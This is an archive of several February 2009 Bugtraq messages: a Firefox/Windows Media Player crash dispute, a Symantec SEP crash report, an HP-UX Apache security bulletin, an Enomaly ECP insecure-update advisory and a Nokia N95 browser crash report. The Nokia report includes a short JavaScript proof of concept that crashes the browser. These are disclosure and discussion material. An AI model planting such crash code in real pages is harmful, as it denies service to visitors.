by outgoing2.securityfocus.com (Postfix) with QMQP
id 88EF7143A7A; Thu, 12 Feb 2009 12:20:25 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 15969 invoked from network); 12 Feb 2009 18:44:50 -0000
Cc: bugtraq@securityfocus.com
Message-Id: <17BC55AE-D235-4A45-A7D1-EC869F7A9AA2@free.fr>
From: Rolphin <rolphin@free.fr>
To: XiaShing@gmail.com
In-Reply-To: <200902120814.n1C8EeJb022213@www3.securityfocus.com>
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
Mime-Version: 1.0 (Apple Message framework v930.3)
Subject: Re: Denial of Service using Partial GET Request in Mozilla Firefox 3.06
Date: Thu, 12 Feb 2009 20:12:12 +0100
References: <200902120814.n1C8EeJb022213@www3.securityfocus.com>
X-Mailer: Apple Mail (2.930.3)
Status:   

Hi,
How is this related to Firefox ?

See further:
On Feb 12, 2009, at 09:14 , XiaShing@gmail.com wrote:

> ===========================================================> !vuln
> Mozilla Firefox 3.06
> Previous versions may also be affected.
> ===========================================================>
> ===========================================================> !risk
> Medium
> There are currently many users using Mozilla Firefox.
> However, there has been no confirmation of remote execution
> of arbitrary code yet.
> ===========================================================>
> ===========================================================> !info
> Tested on:
> Windows Vista Version Service Pack 1 Build 6001
> Processor Intel(R) Core(TM)2 Duo CPU T8300 @ 2.40GHz,
> 2401 Mhz, 2 Core(s), 2 Logical Processor(s)
>
> User Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US;
> rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6
> (.NET CLR 3.5.30729)
> ===========================================================
This is the firefox user agent string...
>
>
> ===========================================================> !discussion
> The Partial GET Request (HTTP 206 Status Code) of a WAV file
> results in a Denial of Service of the application.
>
> Last HTTP packet from Firefox before the DoS is listed below
> in RAW format:
> GET /fpaudio/footprints_waves.wav HTTP/1.1
> Accept: */*
> User-Agent: NSPlayer/11.0.6001.7001 WMFSDK/11.0

Is this firefox ?

>
> UA-CPU: x86

Only MS set this header...

>
> Accept-Encoding: gzip, deflate
> Range: bytes4848-
> Unless-Modified-Since: Mon, 09 Jul 2007 12:44:57 GMT
> If-Range: "4f0018-440f2-434d403204440"
> Host: www.footprints-inthe-sand.com
> Connection: Keep-Alive

This is not firefox.

>
>
> The OK GET Request (HTTP 200 Status Code) of the WAV file is
> listed below in RAW format:
> GET /fpaudio/footprints_waves.wav HTTP/1.1
> Accept: */*
> User-Agent: Windows-Media-Player/10.00.00.3802
> UA-CPU: x86

Oh ! It's seems that you've found the problem...
May be a bug in the Windows Media Player ?

Did your try this on IE ?

From - Fri Feb 13 11:48:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000622c
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39466-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 05917ED8AC
for <lists@securityspace.com>; Fri, 13 Feb 2009 11:41:15 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 2F556236FBC; Fri, 13 Feb 2009 09:37:13 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 27625 invoked from network); 12 Feb 2009 20:51:10 -0000
Date: Thu, 12 Feb 2009 14:20:17 -0700
Message-Id: <200902122120.n1CLKHYt006172@www3.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: XiaShing@gmail.com
To: bugtraq@securityfocus.com
Subject: Re: Denial of Service using Partial GET Request in Mozilla
 Firefox 3.06
Status:   

It's been confirmed that this is not problem in IE. Sorry I didn't mention that. Microsoft uses Silverlight:

GET /index.php?page=Poem/Poem.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, application/x-silverlight, */*
Accept-Language: en-au
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)
Host: www.footprints-inthe-sand.com
Connection: Keep-Alive

It could either be because of what Sean said with the Range request or the Partial GET Request in Firefox. But I think you are probably correct Rolphin, as I've had a lot of Windows Media Player crashes recently. Either way, Windows Media Player should probably not be incorporated into Firefox if it's going to crash. A more stable platform should be used (such as Silverlight)

From - Fri Feb 13 12:18:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000622e
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39468-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 6A0CAEC911
for <lists@securityspace.com>; Fri, 13 Feb 2009 12:12:08 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id E768C237041; Fri, 13 Feb 2009 09:39:37 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 29682 invoked from network); 12 Feb 2009 21:33:11 -0000
Date: Thu, 12 Feb 2009 15:02:18 -0700
Message-Id: <200902122202.n1CM2IQf010105@www3.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: steve.fowler@oregonstate.edu
To: bugtraq@securityfocus.com
Subject: Re: RE: SEP(Symantec) Bug
Status:   

For what is is worth...
I'm running MR4 version (11.0.4000.2295) and executing the command under a non-privileged account does throw a dialog box with the error message.  It also puts an event in the application event log to the effect of "Faulting application smc.exe, version 11.0.4000.2261, faulting module msvcr80.dll, version 8.0.50727.1433, fault address 0x000079f", but watchng task manager SMC.EXE running under the SYSTEM user and SMCGUI.EXE running under the same non-privileged account never dies.  I do see an additional SMC.EXE process startup under the non-privileged user, but it is the process failing.  I also tried this running the command with an admin account with the same results.

From - Fri Feb 13 12:28:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006230
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39469-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 872FEED938
for <lists@securityspace.com>; Fri, 13 Feb 2009 12:24:55 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 0285B2370CB; Fri, 13 Feb 2009 09:40:23 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 29873 invoked from network); 12 Feb 2009 21:35:25 -0000
Date: 12 Feb 2009 22:04:33 -0000
Message-ID: <20090212220433.2764.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: XiaShing@gmail.com
To: bugtraq@securityfocus.com
Subject: Re: Re: Denial of Service using Partial GET Request in Mozilla
 Firefox 3.06
Status:   

This is a bug in WMP:
http://support.microsoft.com/kb/947541

Firefox should not use WMP though.

From - Fri Feb 13 12:28:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006231
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39470-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id CCCBDED938
for <lists@securityspace.com>; Fri, 13 Feb 2009 12:28:02 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 689B3143878; Fri, 13 Feb 2009 10:00:54 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 27984 invoked from network); 13 Feb 2009 13:32:27 -0000
To: bugtraq@securityfocus.com
From: security-alert@hp.com
Subject: [security bulletin] HPSBUX02401 SSRT090005 rev.2 - HP-UX Running Apache Web Server Suite, Remote Denial of Service (DoS), Cross-site Scripting (XSS), Execution of Arbitrary Code, Cross-Site Request Forgery (CSRF)
Date: Fri, 13 Feb 2009 06:01:38 -0800
Sender: secure@hpchs.cup.hp.com
Message-Id: <20090213140139.818A1BF0C@hpchs.cup.hp.com>
Status:   

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c01650939
Version: 1

HPSBUX02401 SSRT090005 rev.2 - HP-UX Running Apache Web Server Suite, Remote Denial of Service (DoS), Cross-site Scripting (XSS), Execution of Arbitrary Code, Cross-Site Request Forgery (CSRF)

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2009-02-02
Last Updated: 2009-02-12

Potential Security Impact: Remote Denial of Service (DoS), cross-site scripting (XSS), execution of arbitrary code, cross-site request forgery (CSRF)

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY
Potential security vulnerabilities have been identified with HP-UX running Apache-based Web Server or Tomcat-based Servelet Engine. The vulnerabilities could be exploited remotely to cause a Denial of Service (DoS), cross-site scripting (XSS), execution of arbitrary code, or cross-site request forgery (CSRF). Apache-based Web Server and Tomcat-based Servelet Engine are contained in the Apache Web Server Suite.

References: CVE-2007-6420, CVE-2008-1232, CVE-2008-1947, CVE-2008-2364, CVE-2008-2370, CVE-2008-2938, CVE-2008-2939, CVE-2008-3658

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP-UX B.11.23 and B.11.31 running Apache-based Web Server v2.2.8.01.01 or v2.0.59.07.02 or earlier or Tomcat-based Servelet Engine v5.5.27.01.01 or earlier 
HP-UX B.11.11 running Apache-based Web Server v2.0.59.07.02 or earlier 

BACKGROUND

CVSS 2.0 Base Metrics 
==============================================Reference                         Base Vector               Base Score 
CVE-2007-6420     (AV:N/AC:M/Au:N/C:N/I:P/A:N)      4.3
CVE-2008-1232     (AV:N/AC:M/Au:N/C:N/I:P/A:N)      4.3
CVE-2008-1947     (AV:N/AC:M/Au:N/C:N/I:P/A:N)      4.3
CVE-2008-2364     (AV:N/AC:M/Au:N/C:N/I:P/A:N)      5.0
CVE-2008-2370     (AV:N/AC:M/Au:N/C:N/I:P/A:N)      5.0
CVE-2008-2938     (AV:N/AC:M/Au:N/C:N/I:P/A:N)      4.3
CVE-2008-2939     (AV:N/AC:M/Au:N/C:N/I:P/A:N)      4.3
CVE-2008-3658     (AV:N/AC:M/Au:N/C:N/I:P/A:N)      7.5
==============================================Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.

RESOLUTION

HP has provided the following upgrades to resolve these vulnerabilities. 
The upgrades are available from the following location: 

URL: http://software.hp.com 

Note: HP-UX Web Server Suite v3.02 contains HP-UX Apache-based Web Server v2.2.8.01.02 and HP-UX Tomcat-based Servlet Engine 5.5.27.01.01 
Note: HP-UX Web Server Suite v2.22 contains HP-UX Apache-based Web Server v2.0.59.07.03 and HP-UX Tomcat-based Servlet Engine 5.5.27.01.01 

Web Server Suite Version
 HP-UX Release  Apache Depot name 
=============================================Web Server Suite Version - Web Server v.3.02
 B.11.11 PA-32                    HPUXWSATW-B302-32.depot
 B.11.23 and B.11.31 PA-32   HPUXWSATW-B302-32.depot
 B.11.23 and B.11.31 IA-64    HPUXWSATW-B302-64.depot

Web Server Suite Version - Web Server v.2.22 
 B.11.11 PA-32  HPUXWSATW-B222-1111.depot
 B.11.23 PA-32  HPUXWSATW-B222-1123-32.depot
 B.11.23 IA-64   HPUXWSATW-B222-1123-64.depot
 B.11.31 IA-32   HPUXWSATW-B222-1131-32.depot
 B.11.31 IA-64   HPUXWSATW-B222-1131-64.depot
==============================================
MANUAL ACTIONS: Yes - Update 

Install Apache-based Web Server or Tomcat-based Servelet Engine from the Apache Web Server Suite v2.22 or v3.02 or subsequent 

PRODUCT SPECIFIC INFORMATION 

HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa 

The following text is for use by the HP-UX Software Assistant. 

AFFECTED VERSIONS 

For Web Server v.3.02 
HP-UX B.11.11 
=================hpuxwsAPACHE.APACHE 
hpuxwsAPACHE.APACHE2 
hpuxwsAPACHE.AUTH_LDAP 
hpuxwsAPACHE.AUTH_LDAP2 
hpuxwsAPACHE.MOD_JK 
hpuxwsAPACHE.MOD_JK2 
hpuxwsAPACHE.MOD_PERL 
hpuxwsAPACHE.MOD_PERL2 
hpuxwsAPACHE.PHP 
hpuxwsAPACHE.PHP2 
hpuxwsAPACHE.WEBPROXY 
hpuxwsTOMCAT.TOMCAT 
hpuxwsWEBMIN.WEBMIN 

action: install revision B.2.2.8.01.02 or subsequent 
URL: http://software.hp.com 

HP-UX B.11.23 
=================hpuxws22APCH32.APACHE 
hpuxws22APCH32.APACHE2 
hpuxws22APCH32.AUTH_LDAP 
hpuxws22APCH32.AUTH_LDAP2 
hpuxws22APCH32.MOD_JK 
hpuxws22APCH32.MOD_JK2 
hpuxws22APCH32.MOD_PERL 
hpuxws22APCH32.MOD_PERL2 
hpuxws22APCH32.PHP 
hpuxws22APCH32.PHP2 
hpuxws22APCH32.WEBPROXY 
hpuxws22APCH32.WEBPROXY2 
hpuxws22TOMCAT.TOMCAT 
hpuxws22WEBMIN.WEBMIN 

action: install revision B.2.2.8.01.02 or subsequent 
URL: http://software.hp.com 

HP-UX B.11.31 
=================hpuxws22APACHE.APACHE 
hpuxws22APACHE.APACHE2 
hpuxws22APACHE.AUTH_LDAP 
hpuxws22APACHE.AUTH_LDAP2 
hpuxws22APACHE.MOD_JK 
hpuxws22APACHE.MOD_JK2 
hpuxws22APACHE.MOD_PERL 
hpuxws22APACHE.MOD_PERL2 
hpuxws22APACHE.PHP 
hpuxws22APACHE.PHP2 
hpuxws22APACHE.WEBPROXY 
hpuxws22APACHE.WEBPROXY2 
hpuxws22TOMCAT.TOMCAT 
hpuxws22WEBMIN.WEBMIN 

action: install revision B.2.2.8.01.02 or subsequent 
URL: http://software.hp.com 


Web Server v.2.22 
HP-UX B.11.11 
=================hpuxwsAPACHE.APACHE 
hpuxwsAPACHE.APACHE2 
hpuxwsAPACHE.AUTH_LDAP 
hpuxwsAPACHE.AUTH_LDAP2 
hpuxwsAPACHE.MOD_JK 
hpuxwsAPACHE.MOD_JK2 
hpuxwsAPACHE.MOD_PERL 
hpuxwsAPACHE.MOD_PERL2 
hpuxwsAPACHE.PHP 
hpuxwsAPACHE.PHP2 
hpuxwsAPACHE.WEBPROXY 
hpuxwsTOMCAT.TOMCAT 
hpuxwsWEBMIN.WEBMIN 
action: install revision B.2.0.59.07.03 or subsequent 
URL: http://software.hp.com 

HP-UX B.11.23 
=================hpuxwsAPCH32.APACHE 
hpuxwsAPCH32.APACHE2 
hpuxwsAPCH32.AUTH_LDAP 
hpuxwsAPCH32.AUTH_LDAP2 
hpuxwsAPCH32.MOD_JK 
hpuxwsAPCH32.MOD_JK2 
hpuxwsAPCH32.MOD_PERL 
hpuxwsAPCH32.MOD_PERL2 
hpuxwsAPCH32.PHP 
hpuxwsAPCH32 .PHP2 
hpuxwsAPCH32.WEBPROXY 
hpuxwsTOMCAT.TOMCAT 
hpuxwsWEBMIN.HPDOCS 
hpuxwsWEBMIN.WEBMIN 
action: install revision B.2.0.59.07.03 or subsequent 
URL: http://software.hp.com 

HP-UX B.11.31 
=================hpuxwsAPCH32.APACHE 
hpuxwsAPCH32.APACHE2 
hpuxwsAPCH32.AUTH_LDAP 
hpuxwsAPCH32.AUTH_LDAP2 
hpuxwsAPCH32.MOD_JK 
hpuxwsAPCH32.MOD_JK2 
hpuxwsAPCH32.MOD_PERL 
hpuxwsAPCH32.MOD_PERL2 
hpuxwsAPCH32.PHP 
hpuxwsAPCH32.PHP2 
hpuxwsAPCH32.WEBPROXY 
hpuxwsTOMCAT.TOMCAT 
hpuxwsWEBMIN.HPDOCS 
hpuxwsWEBMIN.WEBMIN 
action: install revision B.2.0.59.07.03 or subsequent 
URL: http://software.hp.com 

END AFFECTED VERSIONS 

HISTORY 
Version:1 (rev.1) 2 February 2009 Initial release 
Version:2 (rev.2) 12 February 2009 Corrected Affected Versions, clarified Resolution table. 

Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. 


Support: For further information, contact normal HP Services support channel.

Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com 
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information. 
To get the security-alert PGP key, please send an e-mail message as follows:
  To: security-alert@hp.com 
  Subject: get key

Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email: 
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC 
On the web page: ITRC security bulletins and patch sign-up 
Under Step1: your ITRC security bulletins and patches 
  - check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems 
  - verify your operating system selections are checked and save.


To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php 
Log in on the web page: Subscriber's choice for Business: sign-in. 
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.


To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do 


* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title: 

GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
 
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.


"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."

ęCopyright 2009 Hewlett-Packard Development Company, L.P. 

Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental, special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1

iQA/AwUBSZV6JeAfOvwtKn1ZEQI0NACeL5V/0jZJEH3cWXBIRPrHWRcJfAsAoNtx
HHbnT1AsTUHtckEKArrUCgPE
=1kR6
-----END PGP SIGNATURE-----

From - Fri Feb 13 12:38:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006232
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39471-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id A152BED938
for <lists@securityspace.com>; Fri, 13 Feb 2009 12:37:25 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 3FF7E1439B3; Fri, 13 Feb 2009 10:02:34 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 32197 invoked from network); 13 Feb 2009 16:27:40 -0000
Date: Fri, 13 Feb 2009 09:56:56 -0700
Message-Id: <200902131656.n1DGuulb026341@www3.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: jplopezy@gmail.com
To: bugtraq@securityfocus.com
Subject: Nokia N95 browser "setAttributeNode" method crash
Status:   

Application: Nokia N95-8
OS: Symbian
------------------------------------------------------
1 - Description
2 - Vulnerability
3 - POC/EXPLOIT

------------------------------------------------------
Description

The nokia n95 is a smartphone, this phone have more tools, for example: gps,mp3,camera,wireless.

:)

------------------------------------------------------
Vulnerability

The vulnerability is caused when the browser, opened a web with javaScript code. This cause that page crash.

The error is in the method "setAttributeNode", because the bad implement is the cause of bug.

------------------------------------------------------
POC/EXPLOIT

Enter in this url

http://es.geocities.com/jplopezy/nokiacrash2.html


or make html file and insert this code

<input type='checkbox' id='c'>
<script>
r=document.getElementById('c');
a=r.setAttributeNode();
</script>

------------------------------------------------------
Juan Pablo Lopez Yacubian 

From - Fri Feb 13 12:48:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006233
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39473-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 0A7A5ED7A0
for <lists@securityspace.com>; Fri, 13 Feb 2009 12:46:38 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id DB6EC1439E7; Fri, 13 Feb 2009 10:13:19 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 31840 invoked from network); 12 Feb 2009 23:14:46 -0000
MIME-Version: 1.0
In-Reply-To: <21606dcf0902120944n179fa738r1dfcdcb47e040891@mail.gmail.com>
References: <21606dcf0902120944n179fa738r1dfcdcb47e040891@mail.gmail.com>
Date: Fri, 13 Feb 2009 00:43:40 +0100
Message-ID: <21606dcf0902121543q5b924d91v7b1904ad624ff869@mail.gmail.com>
Subject: Enomaly ECP/Enomalism: Silent update remote command execution 
vulnerability
From: Sam Johnston <samj@samj.net>
To: Bugtraq <bugtraq@securityfocus.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Status:   

Enomaly ECP/Enomalism: Silent update remote command execution vulnerability

Synopsis

All versions of Enomaly ECP/Enomalism have an insecure silent update mechanism
that could allow a remote attacker to execute arbitrary code as root.

Background

Enomaly ECP (formerly Enomalism) is management software for virtual machines.

Description

Sam Johnston (http://samj.net/) of Australian Online Solutions
(http://www.aos.net.au) reported that the main Enomaly ECP daemon (enomalism2d)
includes an undocumented silent update mechanism that insecurely downloads and
executes code from Enomaly's corporate web server.

Enomaly ECP silently attempts to receive and forcibly install unsigned python
modules over HTTP from http://enomaly.com/fileadmin/eggs/ (currently exception
drivemounter, and phone_home) when encountering any error loading any module.
This allows for remote, privileged exploitation without any user intervention.

Impact

Combined with the ability to intercept requests to Enomaly's corporate web
server by other means such as ARP or DNS spoofing, or compromise the server
itself or any intermediary server, it is possible to execute arbitrary
commands as the root user on any server requesting an update. An attacker may
also be able to trigger the update mechanism by inducing any condition where
modules fail to load, e.g. exhausting memory by making many web requests.

Workaround

Resolve enomaly.com to 127.0.0.1 in affected servers' hosts files.

Resolution

There is no resolution at this time as the feature cannot be disabled. Vendor
claims that the vulnerability is by design and has no plans to release a fix.

History

2009-02-09 Bug initially reported to Enomaly by mail
2009-02-09 CVE requested from Mitre; TBA
2009-02-10 Product Development Manager acknowledged receipt:
"This is by design, it's a method to allow modules to be downloaded and
installed as needed. It's a recovery mechanism for borked installs (which
happen quite frequently with easy_install).  None of this stuff is exploitable
or malicious under any normal circumstances."
2009-02-12 Publication of vulnerability

From - Fri Feb 13 13:18:33 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00006234
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39475-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id B7E14ED8B5
for <lists@securityspace.com>; Fri, 13 Feb 2009 13:10:56 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 602321438C9; Fri, 13 Feb 2009 11:05:50 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 20549 invoked from network); 13 Feb 2009 05:24:14 -0000
X-Originating-IP: [59.160.193.34]
X-Originating-Email: [51l3n7@live.in]
Message-ID: <SNT107-DS25D95A55BE8B87EACAE8EC7B80@phx.gbl>
From: "Sandeep Cheema" <51l3n7@live.in>
To: "Jon Kloske" <jon@uq.edu.au>
Cc: <bugtraq@securityfocus.com>
References: <SNT107-DS556650CF335CA6E13D14EC7BB0@phx.gbl> <5917E3FA58839D40B41CF5B83A68105402AC78C7@UQEXMB2.soe.uq.edu.au>
In-Reply-To: <5917E3FA58839D40B41CF5B83A68105402AC78C7@UQEXMB2.soe.uq.edu.au>
Subject: Re: SEP(Symantec) Bug
